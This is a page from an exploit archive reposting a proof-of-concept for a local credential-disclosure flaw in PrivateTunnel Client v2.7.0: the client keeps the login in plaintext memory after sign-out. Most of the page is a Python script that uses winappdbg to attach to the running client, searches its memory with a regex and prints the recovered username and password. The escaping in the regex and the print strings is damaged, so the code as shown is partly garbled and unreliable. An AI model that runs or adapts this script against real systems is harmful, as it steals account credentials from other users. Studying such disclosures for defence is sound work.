Home / os / wince

PrivateTunnel Client v2.7.0 x64 Local Credentials Disclosure After Sign out Exploit

Posted on 30 November -0001

<HTML><HEAD><TITLE>PrivateTunnel Client v2.7.0 (x64) Local Credentials Disclosure After Sign out Exploit</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY>#####
# PrivateTunnel Client v2.7.0 (x64) Local Credentials Disclosure After Sign out Exploit
# Tested on Windows Windows 7 64bit, English
# Vendor Homepage   @ https://www.privatetunnel.com
# Date 14/09/2016
# Bug Discovery by:
#
# Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
# http://www.black-rose.ml
#
# Viktor Minin (https://www.linkedin.com/in/MininViktor)
# https://1-33-7.com/
#
#####
# PrivateTunnel Client v2.7.0 is vulnerable to local credentials disclosure after the user is logged out.
# It seems that PrivateTunnel does store the supplied credentials while the user is logged in and after sign out in a plaintext format in memory process.
# A potential attacker could reveal the supplied username and password in order to gain access to PrivateTunnel account.
#
# Authors are not responsible for any misuse or demage which caused by use of this script code.
# Please use responsibly.
#####
# Proof-Of-Concept Code:
 
import time
import urllib
from winappdbg import Debug, Process
 
usr         = ''
pwd         = ''
found       = 0
filename    = "privatetunnel2.7.0.exe"
process_pid = 0
memory_dump = []
 
debug = Debug()
try:
    print "###########################################################################"
    print "# PrivateTunnel v2.7.0 Local Credentials Disclosure Exploit After Sign out#"
    print "#ttBug Discovery by Yakir Wizman, Victor Minintt  #"
    print "#ttTested on Windows Windows 7 64bit, Englishtt  #"
    print "#tttPlease use responsibly.tttt  #"
    print "###########################################################################
"
    print "[~] Searching for pid by process name '%s'.." % (filename)
    time.sleep(1)
    debug.system.scan_processes()
    for (process, process_name) in debug.system.find_processes_by_filename(filename):
        process_pid = process.get_pid()
    if process_pid is not 0:
        print "[+] Found process with pid #%d" % (process_pid)
        time.sleep(1)
        print "[~] Trying to read memory for pid #%d" % (process_pid)
         
        process = Process(process_pid)
         
        user_pattern = 'x20x22x70x61x73x73x77x6Fx72x64x22x20x3Ax20x22(.*)x22x2Cx0Ax20x20x20x22x75x73x65x72x6Ex61x6Dx65x22x20x3Ax20x22(.*)x22x0A'
        for address in process.search_regexp(user_pattern):
            memory_dump.append(address)
         
        try:
            usr = memory_dump[0][2].split('"username" : "')[1].replace('"
', '')
            pwd = memory_dump[0][2].split('"password" : "')[1].split('",')[0]
        except:
            pass
        print ""
        if usr != '' and pwd !='':
            found = 1
            print "[+] PrivateTunnel Credentials found!
----------------------------------------"
            print "[+] Username: %s" % usr
            print "[+] Password: %s" % pwd
        if found == 0:
            print "[-] Credentials not found!"
 
    else:
        print "[-] No process found with name '%s'." % (filename)
     
    debug.loop()
finally:
    debug.stop()
</BODY></HTML>

 

TOP

Malware :

Exploits :